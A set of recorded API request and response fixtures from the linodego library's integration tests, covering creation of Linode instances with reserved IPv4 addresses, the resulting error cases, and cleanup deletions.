151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:00:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-3g56sfk589kx","firewall_id":611237,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 60783002, "label": "go-test-ins-wo-disk-3g56sfk589kx", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.230"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1dbba5b43d08a78e7f678ea425b3887659b32008", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "786" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:00:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-55fa6q2s2nr5","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783002/configs method: POST response: body: '{"id": 63990940, "label": "go-test-conf-55fa6q2s2nr5", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:00:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783002 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:00:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/611237 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:00:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithAlreadyAssignedReservedIP.yaml000066400000000000000000000214141474652371000370270ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.104.28.100", "gateway": "172.104.28.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-104-28-100.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-5joh9oqb2908","root_pass":"?Mw;l]:[\u00262x^pK4819J9y[=623gC0qlLFj9?\u003e2ia6RSM!HHpc1Z;NG3r3Kz.=Mb]","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.28.100"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63830251, "label": "go-test-ins-reserved-ip-5joh9oqb2908", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.28.100"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "e2b2194e60c6054585feb7014b294d65664c16a9", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-lm38753c0ooi","root_pass":"B8c03IyO8!+xfZt439xEpv#5n3H9HoJ^P\\^\u003c`2|XqgLZ9TDtXGq=04f\u003e4''$|.l}4","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.28.100"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Address must be currently unassigned.", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "82" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:19 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63830251 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.104.28.100 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithEmptyIPAddress.yaml000066400000000000000000000126631474652371000347020ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-2erk03yy2m36","root_pass":".H?9RM6V''ixIX),:X+?UP6[[tdg4wpQ5EnccaV2,@+l8FSw@2F58\u003ci3o16Cn68?6","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":[""]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:22 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-2erk03yy2m36","root_pass":".H?9RM6V''ixIX),:X+?UP6[[tdg4wpQ5EnccaV2,@+l8FSw@2F58\u003ci3o16Cn68?6","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":[""]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:25 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-2erk03yy2m36","root_pass":".H?9RM6V''ixIX),:X+?UP6[[tdg4wpQ5EnccaV2,@+l8FSw@2F58\u003ci3o16Cn68?6","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":[""]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:29 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-2erk03yy2m36","root_pass":".H?9RM6V''ixIX),:X+?UP6[[tdg4wpQ5EnccaV2,@+l8FSw@2F58\u003ci3o16Cn68?6","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":[""]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:32 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" TestInstance_CreateWithMultipleIPAddresses.yaml000066400000000000000000000214051474652371000357210ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "66.228.42.57", "gateway": "66.228.42.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-228-42-57.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "259" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-4rc1sui21a14","root_pass":"E1dxAxLSB0}\u003c977C=n+5u1g@x4tOx/,5rav03~W''7!]7#lgOJRLO.0Zm$}52f-LT","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["66.228.42.57","192.0.2.2"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:36 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-4rc1sui21a14","root_pass":"E1dxAxLSB0}\u003c977C=n+5u1g@x4tOx/,5rav03~W''7!]7#lgOJRLO.0Zm$}52f-LT","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["66.228.42.57","192.0.2.2"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:39 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-4rc1sui21a14","root_pass":"E1dxAxLSB0}\u003c977C=n+5u1g@x4tOx/,5rav03~W''7!]7#lgOJRLO.0Zm$}52f-LT","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["66.228.42.57","192.0.2.2"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:43 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-4rc1sui21a14","root_pass":"E1dxAxLSB0}\u003c977C=n+5u1g@x4tOx/,5rav03~W''7!]7#lgOJRLO.0Zm$}52f-LT","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["66.228.42.57","192.0.2.2"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:46 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/66.228.42.57 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithNonOwnedReservedAddress.yaml000066400000000000000000000026711474652371000366000ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-x34lc083oko4","root_pass":"}VsdSi,{!omez2A1BMU7J7p`41z1ER6-rs=hD,151f2\u003e/81q\\SJNg].Rz7Q=`Z\u00262","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["198.51.100.1"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 